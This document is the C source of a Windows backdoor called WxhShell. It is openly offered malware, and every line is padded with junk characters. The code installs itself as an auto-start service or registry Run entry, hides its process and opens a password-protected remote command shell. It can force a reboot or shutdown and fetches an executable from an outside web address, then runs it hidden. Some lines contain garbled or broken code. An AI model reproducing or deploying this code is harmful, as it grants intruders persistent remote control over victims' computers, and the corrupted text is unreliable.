    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %vf;qVoA~  
    if(Boot(SHUTDOWN)) hiVDN"$$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hx%UZ<a  
    else { 0 )PZS>  
    closesocket(wsh); (?uK  
    ExitThread(0); aH%tD!%,o  
    } Dz.kJ_"Ro  
    break; 8KP   
    } uCW}q.@4  
  // 获取shell D5@}L$ u  
  case 's': { Q$'\_zV  
    CmdShell(wsh); ?vD<_5K; I  
    closesocket(wsh); d_:tiHw$  
    ExitThread(0); 4E!Pxjl3a  
    break; gBI?dw  
  } N0D5N(kH%  
  // 退出 N{RHbSa(  
  case 'x': { nWYfe-zQxg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FB+nN5D/  
    CloseIt(wsh); uVZm9Sp  
    break; JKp@fQT *  
    } ?JRfhJ:j  
  // 离开 4u|6^ wu.I  
  case 'q': { biV|W@JM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #Sg/  
    closesocket(wsh); FDFVhcr  
    WSACleanup(); e6jdSn  
    exit(1); 23;\l   
    break; eon(C|S7eK  
        } Z^A(Q>{e  
  } ou|3%&*"  
  } ;SA+| ,  
@ohJ'  
  // 提示信息 '@hnqcqXq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A-\n"}4  
} y fS  
  } D 5Z7?Y  
rY6bc\?`x  
  return; Oh`Pf;.z%  
} z;YX 2G/{  
2j>C4Ck  
// shell模块句柄 zS?}3#g0u  
int CmdShell(SOCKET sock) | ~D~#Nz  
{ V^9%+L+E5  
STARTUPINFO si; ~te{9/   
ZeroMemory(&si,sizeof(si)); /oM&29 jy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~fgS"F^7n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,tBc%&.f  
PROCESS_INFORMATION ProcessInfo; +x:VIi  
char cmdline[]="cmd"; WIwGw%_~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c3Ig4n0Y>  
  return 0; gd31ds!G  
} a 6fH*2E  
[nsTO5G$u  
// 自身启动模式 N~yGtnW  
int StartFromService(void) # zd}xla0]  
{ *i7-_pT  
typedef struct 7x |Pgu(  
{ =8qhK=&]  
  DWORD ExitStatus; Mr K?,7*Xi  
  DWORD PebBaseAddress; {\!@ k\__  
  DWORD AffinityMask; ol4!#4Y&{  
  DWORD BasePriority; $/JnYkL{m  
  ULONG UniqueProcessId; oB}rd9  
  ULONG InheritedFromUniqueProcessId; \HJt}  
}   PROCESS_BASIC_INFORMATION; G!ryW4  
4~:D7",Jn  
PROCNTQSIP NtQueryInformationProcess; s.}:!fBk  
{-5 b[m(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zf\It<zT5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a)L=+Z  
f7]C1!]  
  HANDLE             hProcess; f%d =X>_  
  PROCESS_BASIC_INFORMATION pbi; 2-wvL&pi)  
l]e7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !jJH}o/KW  
  if(NULL == hInst ) return 0; fAR0GOI  
Y2p~chx9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5th\_n}N2/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F>3fP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;%i.@@:IQ  
xF9PjnWF=  
  if (!NtQueryInformationProcess) return 0; $0E_4#kwB  
;V~~lcD&Y`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }JWk?  
  if(!hProcess) return 0; &]'< M  
P\|i<Ds_M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w`0r`\#V/  
G|]39/OO3{  
  CloseHandle(hProcess); 6sRKbp|r7  
Uw_z9ZL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T/l2B1  
if(hProcess==NULL) return 0; =:'a)o  
N` rOlEk  
HMODULE hMod; i_;]UvP  
char procName[255]; *8QGv6*vQ  
unsigned long cbNeeded; 8[z& g%u  
9ev " BO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QVrMrm+vRv  
MU&P+Wr  
  CloseHandle(hProcess); F_Mi/pB^`9  
G@n%P~  
if(strstr(procName,"services")) return 1; // 以服务启动 3UX})mW  
=G2A Ufn   
  return 0; // 注册表启动 =}AwA5G  
} A|U_$!cLZ  
D3%`vq u&  
// 主模块 SA$1rqU=  
int StartWxhshell(LPSTR lpCmdLine) .!J,9PE  
{ E :Y *;  
  SOCKET wsl; 76*5/J-  
BOOL val=TRUE;  hG!"e4  
  int port=0; ((%g\&D  
  struct sockaddr_in door; ^t\AB)(8  
D Psf]  
  if(wscfg.ws_autoins) Install(); r5?qz<WW~  
7e-l`]  
port=atoi(lpCmdLine); KuO5`  
]LhNP}c  
if(port<=0) port=wscfg.ws_port; A,qWg0A]nt  
FVcoo V  
  WSADATA data; 8.Ty ,7Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *m sW4|=^2  
D~Y 3\KP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xem:#>&r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bP 2IX  
  door.sin_family = AF_INET; "i1~YE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >m{)shBX  
  door.sin_port = htons(port);  HRKe 7#e  
3E361?ubM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z*|qbu)  
closesocket(wsl); v2Bks 2  
return 1; r'q9N  
} <4Jo1  
8BZDaiE"  
  if(listen(wsl,2) == INVALID_SOCKET) { S|%f<zAtJ  
closesocket(wsl); "syf@[tz7  
return 1; /\KB*dX  
} MW+]w~7_Q  
  Wxhshell(wsl); %h%^i   
  WSACleanup(); s^$zO p9  
lLT;V2=osX  
return 0; m+Yj"RMx&  
g.N~81A  
} \TrhJ  
,9f$a n  
// 以NT服务方式启动 @BN cIJk9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q<b;xx  
{ (k..ll p~  
DWORD   status = 0; J,E'F!{  
  DWORD   specificError = 0xfffffff; +'x`rk  
xla9:*pPn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; toEmIa~o6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Gm%Dn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {=> <@]N  
  serviceStatus.dwWin32ExitCode     = 0; NTVdSK7z~H  
  serviceStatus.dwServiceSpecificExitCode = 0; \~zTc_  
  serviceStatus.dwCheckPoint       = 0; V4!RUqK  
  serviceStatus.dwWaitHint       = 0; fD<3Tl8U0  
}IGr%C(3%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kN>AY'1  
  if (hServiceStatusHandle==0) return; x=bAR%i~  
dOe|uQXyD  
status = GetLastError(); >w?O?&Q$  
  if (status!=NO_ERROR) J~:/,'Ea  
{ mYN|)QVKy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KwRO?G9&  
    serviceStatus.dwCheckPoint       = 0; )A['+s  
    serviceStatus.dwWaitHint       = 0; ![iAALPNl  
    serviceStatus.dwWin32ExitCode     = status; Ng,#d`Br  
    serviceStatus.dwServiceSpecificExitCode = specificError; %97IXrE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TUiXE~8=  
    return; t\]CdH`+  
  } -C5Qh&~W  
SD6xi\8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CV 4r31w  
  serviceStatus.dwCheckPoint       = 0; _~DFZt@T  
  serviceStatus.dwWaitHint       = 0; y?M99Vo4?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 928szUo:  
} M#d_kDMw  
R/iw#.Yy  
// 处理NT服务事件,比如:启动、停止 `W8GfbL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8+uwzBNZ:  
{ \,E;b{PQo6  
switch(fdwControl) J%;TK6  
{ R)#D{/#FW  
case SERVICE_CONTROL_STOP: ewk62 {  
  serviceStatus.dwWin32ExitCode = 0; H>`?S{J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }{S W~yW  
  serviceStatus.dwCheckPoint   = 0; Mx-,:a9}  
  serviceStatus.dwWaitHint     = 0; Vcl"qz@Fj  
  { -[x^z5Ee`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _'dsEF  
  } ){")RrD(  
  return; y8wOJZ<K  
case SERVICE_CONTROL_PAUSE: ^Yn{Vi2.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h8O[xca/~  
  break; @B~/0 9  
case SERVICE_CONTROL_CONTINUE: LC\Ys\/,U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; | 9!3{3  
  break; <Dt,FWWkv'  
case SERVICE_CONTROL_INTERROGATE: d;(L@9HHD  
  break; Ni{ (=&*=  
}; PS@` =Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |]]Xee]  
} a)[XJLCQ  
N Q{ X IN~  
// 标准应用程序主函数 `96:Z-!}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t4UKG&[a  
{ iR(A ^  
ID5?x8o#k  
// 获取操作系统版本 6$b"tdP  
OsIsNt=GetOsVer(); SA{A E9y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZsUxO%jP  
Cfb/f]*M  
  // 从命令行安装 zpIl'/ i  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2:/'  
2anx]QV4  
  // 下载执行文件 F)Yn1&a#H  
if(wscfg.ws_downexe) { W==HV0n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bUp%87<*X  
  WinExec(wscfg.ws_filenam,SW_HIDE); n\.K:t[:  
} Ab-S*| B  
* "ER8\  
if(!OsIsNt) { PT|^RF%fT  
// 如果时win9x,隐藏进程并且设置为注册表启动 P~i^V;g  
HideProc(); >RBq&'f  
StartWxhshell(lpCmdLine); OcMd'fwO  
} -(qoz8H5  
else IJ o`O  
  if(StartFromService()) !Il>,q&F  
  // 以服务方式启动 C_PXh>H]'  
  StartServiceCtrlDispatcher(DispatchTable); [FC7+ Ey^  
else 7|T5N[3?l,  
  // 普通方式启动 @C7S^|eo  
  StartWxhshell(lpCmdLine); m^O:k"+!  
<{YP=WYW  
return 0; hn.9j"  
} AzN.vA)q  
\%E Zg  
bu%@1:l  
)Bl% {C  
=========================================== (Y'rEc#H&z  
ph30/*8  
[t<^WmgtxL  
#'^p-Jdm  
IL}pVa00{n  
/,/T{V[  
" @o44b!i  
27E6S)zv  
#include <stdio.h> p2!x8`IB*  
#include <string.h>  -deY,%  
#include <windows.h> ).N}x^  
#include <winsock2.h> TpZ) wC  
#include <winsvc.h> 8:L%-  
#include <urlmon.h> NV*aHci  
aAwnkQ$  
#pragma comment (lib, "Ws2_32.lib") }o=R7n%  
#pragma comment (lib, "urlmon.lib") Gc4N)oq)}b  
=@binTC4  
#define MAX_USER   100 // 最大客户端连接数 cIja^xD  
#define BUF_SOCK   200 // sock buffer 9 o-T#~i  
#define KEY_BUFF   255 // 输入 buffer 1F/`*z  
gUL`)t\}*  
#define REBOOT     0   // 重启 ePIBg(  
#define SHUTDOWN   1   // 关机 =a?l@dI]  
!o:RIwS3  
#define DEF_PORT   5000 // 监听端口 vp4!p~C{  
5D-xm$8C  
#define REG_LEN     16   // 注册表键长度 K,|Gtaa~  
#define SVC_LEN     80   // NT服务名长度 s3_i5,y  
2[9hl@=%  
// 从dll定义API Trbgg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0d`s(b54;O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RE oFP;H~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 27t:-O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =NF},j"  
05DK-Wh?  
// wxhshell配置信息 >B skw2  
struct WSCFG { -YA1Uk  
  int ws_port;         // 监听端口 Kdx?s;i  
  char ws_passstr[REG_LEN]; // 口令 ,, ]y 8P  
  int ws_autoins;       // 安装标记, 1=yes 0=no tV*g1)'zX  
  char ws_regname[REG_LEN]; // 注册表键名 }.o rfW  
  char ws_svcname[REG_LEN]; // 服务名 _9#4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (LTm!"Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U&wVe$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %=S^{A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;r^8In@6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" = Yh>5A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^z9ITGB~tV  
l0tMdsz  
}; h k(2,z  
3UD_2[aqN(  
// default Wxhshell configuration wRnt$ 1  
struct WSCFG wscfg={DEF_PORT, e0j*e7$  
    "xuhuanlingzhe", A37Z;/H~k  
    1, twNZ^=SGr  
    "Wxhshell", 1-r1hZ-  
    "Wxhshell", K}`.?6O  
            "WxhShell Service", Q++lgVh)E  
    "Wrsky Windows CmdShell Service", R7ZxS  
    "Please Input Your Password: ", -g;iMqh#  
  1, ["MF-tQ5  
  "http://www.wrsky.com/wxhshell.exe", '<>pz<c  
  "Wxhshell.exe" _s|C0Pt  
    }; HR\yJt  
< I8hy$+6  
// 消息定义模块 E:&=A 4 %  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .FqbX5\p,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !wJ~p:vRdY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B6MMn.  
char *msg_ws_ext="\n\rExit."; ysGK5kFz  
char *msg_ws_end="\n\rQuit."; asj^K|.z  
char *msg_ws_boot="\n\rReboot..."; O6Xu/X]  
char *msg_ws_poff="\n\rShutdown..."; 4}W*,&_  
char *msg_ws_down="\n\rSave to "; d01bt$8>  
4@/[aFH  
char *msg_ws_err="\n\rErr!"; h[ba$S,T  
char *msg_ws_ok="\n\rOK!"; z1T.\mzfX  
BtVuI5*h  
char ExeFile[MAX_PATH]; 5mnIQ~psR  
int nUser = 0; E2LpQNvN%g  
HANDLE handles[MAX_USER]; ]hS4'9lD  
int OsIsNt; ?bmP<(N5/  
T.`EDluG  
SERVICE_STATUS       serviceStatus; .N5}JUj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c:>&Bg&,6T  
u~bk~ 3.I  
// 函数声明 l yF~E  
int Install(void); vtCt6M  
int Uninstall(void); vbmi_[,U  
int DownloadFile(char *sURL, SOCKET wsh); BV9B}IV  
int Boot(int flag); \P^WUWY  
void HideProc(void); eqZ V/a  
int GetOsVer(void); #=OKY@z/  
int Wxhshell(SOCKET wsl); :nC Gqg  
void TalkWithClient(void *cs); owmV7E1  
int CmdShell(SOCKET sock); ] 8+!  
int StartFromService(void); 2?z3s|+[  
int StartWxhshell(LPSTR lpCmdLine); HP:ee+n  
//3iai  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FU;Tv).  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wta\C{{  
? Z.p.v  
// 数据结构和表定义 -3_-n*k!  
SERVICE_TABLE_ENTRY DispatchTable[] = )0j^Fq5[+  
{ ">v76%>Z7  
{wscfg.ws_svcname, NTServiceMain}, g&`e2|[7  
{NULL, NULL} #[qmhU{s  
}; =n cu# T]  
8l~] }2LAs  
// 自我安装 L1VUfEG-  
int Install(void) Ha[Bf*  
{ brl(7_ 2  
  char svExeFile[MAX_PATH]; r0+lH:G*q  
  HKEY key; u+&BR1)C  
  strcpy(svExeFile,ExeFile); 7!]$XGz[  
0 x4Xs  
// 如果是win9x系统,修改注册表设为自启动 ]p\7s  
if(!OsIsNt) { )U`6` &F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \5_+6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 i Id>  
  RegCloseKey(key); (]w_}E]N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dwj!B;AZ_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "|{ NRIE  
  RegCloseKey(key); (Dlh;Ic r9  
  return 0; re2M!m6k5  
    } 4`I2tr  
  } FDbb/6ku  
} |cEJRs@B  
else { AA6_D?)vv  
3%bCv_6B  
// 如果是NT以上系统,安装为系统服务 )M<"YI)g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -+Axa[,5=  
if (schSCManager!=0) g j8rrd |  
{ ?T3zA2  
  SC_HANDLE schService = CreateService ^ r-F@$:.  
  ( }3E@]"<cVR  
  schSCManager, !trt]?*-  
  wscfg.ws_svcname, ^HgQ"dD <  
  wscfg.ws_svcdisp, , ;W6wj  
  SERVICE_ALL_ACCESS, q6bi{L@/R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (0/,R  
  SERVICE_AUTO_START, LBq~?Q.e  
  SERVICE_ERROR_NORMAL, ]JVs/  
  svExeFile, 4/;hA z  
  NULL, jVC`38|  
  NULL, 5=WzKM  
  NULL, 12`q9Io"  
  NULL, 'W(+rTFf!  
  NULL %PRG;kR  
  ); (OwAhjHE  
  if (schService!=0) 0"ksNnxK  
  { ;R|i@[(J  
  CloseServiceHandle(schService); J3fk3d`2  
  CloseServiceHandle(schSCManager); 9UsA>m.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )_k"_VVcC  
  strcat(svExeFile,wscfg.ws_svcname); IppzQ0'=y1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X; I:i%-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /2N'SOX  
  RegCloseKey(key); G0oY`WXOB  
  return 0; 4wjy)VD_  
    } 0{^@kxV  
  } Yz(k4K L  
  CloseServiceHandle(schSCManager); YT'G#U1x~  
} x)N$.7'9OJ  
} ZUePHI-dP  
Q97F5ru6  
return 1; " !F)K  
} \UA\0p  
'w3BSaJi  
// 自我卸载 $0$'co"  
int Uninstall(void) B~+3<#B  
{ ]L+YnZ?6  
  HKEY key; PP)iw@9j  
RfH.WXi  
if(!OsIsNt) { 5$f vI#NO<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uc%n{ a-a  
  RegDeleteValue(key,wscfg.ws_regname);  ,5!&}  
  RegCloseKey(key); +`tl<r g;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i[_ (0P+Da  
  RegDeleteValue(key,wscfg.ws_regname); %J(y2 }  
  RegCloseKey(key); f++MH]I;  
  return 0; p)6!GdT  
  } 701a%Jq_2  
} 1P4cB w%  
} JjA3G`m=  
else { ^j]"!:h  
mN^w?R41m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jz,Mm,Gi  
if (schSCManager!=0) ~tK4C|  
{ NwAvxN<R(f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qE B3Y54+  
  if (schService!=0) = og>& K  
  { Lzmdy0!'  
  if(DeleteService(schService)!=0) { wcr3ugvT  
  CloseServiceHandle(schService); F.{{gpI  
  CloseServiceHandle(schSCManager); mm}y/dO~}  
  return 0; be?>C 5  
  } 0lpkG ="&r  
  CloseServiceHandle(schService); A*+pGQ  
  } qt_ocOr  
  CloseServiceHandle(schSCManager); { 0\Ez}  
} pH&*5=t}  
} d*qb^C{'"  
7 ~b=G  
return 1; <PLQY  
} J)7\k$D  
p7{2/m j  
// 从指定url下载文件 Lk%`hsv  
int DownloadFile(char *sURL, SOCKET wsh) CFE  ubEb  
{ r<'ni  
  HRESULT hr; y;Ez|MS   
char seps[]= "/"; @*?)S{8  
char *token; /my5s\;s|z  
char *file; ')R+Z/hG.  
char myURL[MAX_PATH]; w8=&rzr8  
char myFILE[MAX_PATH]; Vn&{yCm3  
cp1-eR_&  
strcpy(myURL,sURL); /80H.|8O  
  token=strtok(myURL,seps); ]MD,{T9l\>  
  while(token!=NULL) zM+4<k_dH]  
  { LZ#=Ks  
    file=token; pbCj ^  
  token=strtok(NULL,seps); {6 #Qm7s-  
  } -VZn`6%s  
DWv(|gO  
GetCurrentDirectory(MAX_PATH,myFILE); M)x6m|.=  
strcat(myFILE, "\\"); ( p(/  
strcat(myFILE, file); yMG(FAyu  
  send(wsh,myFILE,strlen(myFILE),0); z*V 8l*  
send(wsh,"...",3,0); su$IXI#R-&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .7 K)'  
  if(hr==S_OK) j_I[k8z  
return 0; In[rxT~K}Q  
else BiY-u/bH9a  
return 1; dU}Cb?]7s  
mkE_ a>  
} Sp7VH+  
R$XHjb)  
// 系统电源模块 _0cCTQE  
int Boot(int flag) e{Q;,jsh  
{ ai7R@~O:_k  
  HANDLE hToken; "D\>oFu  
  TOKEN_PRIVILEGES tkp; - -fRhN>  
Bd'X~Vj<  
  if(OsIsNt) { ?"F9~vx&G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  =oE(ur  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p< Y-b,&  
    tkp.PrivilegeCount = 1; o3"Nxq"U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %p48=|+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H(hE;|q/  
if(flag==REBOOT) { HLe/|x\@<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &\>=4)HB;  
  return 0; {MRXK nm;e  
} zRU9Q 2Y  
else { d*YVk{s7V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {+~ JTrp  
  return 0;  -uKTEG[  
} Ypx5:gm|J  
  } ]'NL-8x">  
  else { nt&"? /s  
if(flag==REBOOT) { 1[yy/v'q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YdZ9##IU3  
  return 0; hW!2C6  
} $:?Dyu(Il  
else { 85x34nT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C66 9:%  
  return 0; HNRAtRvnY  
} |.4>#<$__  
}  Vp7d  
MY60%  
return 1; eRqPZb"6MR  
} J$W4AT  
T@Bu Fr`]<  
// win9x进程隐藏模块 _Sg"|g  
void HideProc(void) gSa!zQN6  
{ 0 <E2^  
qfkd Q/fP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CnpQdI  
  if ( hKernel != NULL ) v <Ywfb  
  { \.aKxj5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *rgF[ :  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y6dQ4Whv&  
    FreeLibrary(hKernel); iT;Ld $!{f  
  } +7Uv|LZ~@  
 0ij YE  
return; %aI,K0\  
} i zYC0T9  
ken.#>w  
// 获取操作系统版本 SiYH@Wma  
int GetOsVer(void) P L7(0b%  
{ QuP)j1"X  
  OSVERSIONINFO winfo; Z2L7US -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MQQQaD:v  
  GetVersionEx(&winfo); NEUr w/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =9Vo[  
  return 1; qSDn0^y  
  else q;lR|NOh  
  return 0; 67;6nXG0K  
} No8-Hm  
%)72glB  
// 客户端句柄模块 +1a3^A\  
int Wxhshell(SOCKET wsl) M&jlUr&l  
{ {!j)j6(NY  
  SOCKET wsh; <-mhz`^  
  struct sockaddr_in client; UGlHe7  
  DWORD myID; '`YZJ  
d-C%R9  
  while(nUser<MAX_USER) _s+G02/q1  
{ ^D1gcI  
  int nSize=sizeof(client); qw*) R#=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fLpWTkr0  
  if(wsh==INVALID_SOCKET) return 1; r7sA;Y\  
SA#01}&p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); obGhO  
if(handles[nUser]==0) k dWUz(  
  closesocket(wsh); <$@I*xk[  
else ,N _/J4Us  
  nUser++; 73 4t  
  } U{KnjoS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o*artMkG  
Y]=k"]:%  
  return 0; "hQGk  
} cRMyYdJ o  
: h(Z\D_  
// 关闭 socket gkX7,J-0  
void CloseIt(SOCKET wsh) 0VrsbkS  
{ Z ^}[CQ&Am  
closesocket(wsh); {/(.Bpld  
nUser--; (t\U5-w  
ExitThread(0); 'Hzc"<2Y\  
} $hHV Ie]+  
*Ojl@N  
// 客户端请求句柄 L+VQtp &"  
void TalkWithClient(void *cs) Q)y5'u qZ  
{ mo3A*|U  
"G-h8IN^O  
  SOCKET wsh=(SOCKET)cs; sYo&@~T  
  char pwd[SVC_LEN]; 7AS_Aw1L  
  char cmd[KEY_BUFF]; 98)C 7N'  
char chr[1]; xmEom  
int i,j; ?:M4GY" gV  
[KFCc_:  
  while (nUser < MAX_USER) { q2r$j\L%  
o ^ \+Ua  
if(wscfg.ws_passstr) { mBJr*_p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R8:5N3Fx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jV9oTH-  
  //ZeroMemory(pwd,KEY_BUFF); qp)Wt6 k?  
      i=0; TpwN2 =  
  while(i<SVC_LEN) { 7R7+jL,  
Be6+YM5Cl  
  // 设置超时 !yVY[  
  fd_set FdRead; dA (n,@{  
  struct timeval TimeOut; z;dRzwL  
  FD_ZERO(&FdRead); -%]1q#C>@  
  FD_SET(wsh,&FdRead); rQ_]%ies8  
  TimeOut.tv_sec=8; PqL. ^  
  TimeOut.tv_usec=0; jVLJ qWP'!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xz)qtDN|(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j#2E Q  
u]7wd3(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a??8)=0|}  
  pwd=chr[0]; AC'_#nPL#  
  if(chr[0]==0xd || chr[0]==0xa) { s*_fRf:  
  pwd=0; 1og+(m`BL  
  break; G&Dl($  
  } 5 2 Qr  
  i++; )`(]jx!  
    } SASLeGaV  
jI0gf&v8  
  // 如果是非法用户,关闭 socket c|`$ h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7i{(,:  
} *Ow2,{Nn  
W;cY g.W2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tk*-Cx?_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ncsh{.  
;9WUt,R  
while(1) { <xF]ca  
},#7  
  ZeroMemory(cmd,KEY_BUFF); p}h.2)PO  
K6 >\4'q  
      // 自动支持客户端 telnet标准   [>r0 (x&.  
  j=0; In?#?:Q@&  
  while(j<KEY_BUFF) { pqb`g@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |,5|ZpgL  
  cmd[j]=chr[0]; oQ,<Yx%E3  
  if(chr[0]==0xa || chr[0]==0xd) { v*qbzW`  
  cmd[j]=0; -aVC`  
  break; ZZZ9C#hK^9  
  } b=xn(HE8|  
  j++; Osm))Ua(  
    } j*gJP !  
kE .4 #  
  // 下载文件 TwI s _r:  
  if(strstr(cmd,"http://")) { #=S^i[K/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;*t#:U*  
  if(DownloadFile(cmd,wsh)) -y$6gCRY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ls&H oJ7  
  else  U-4F  
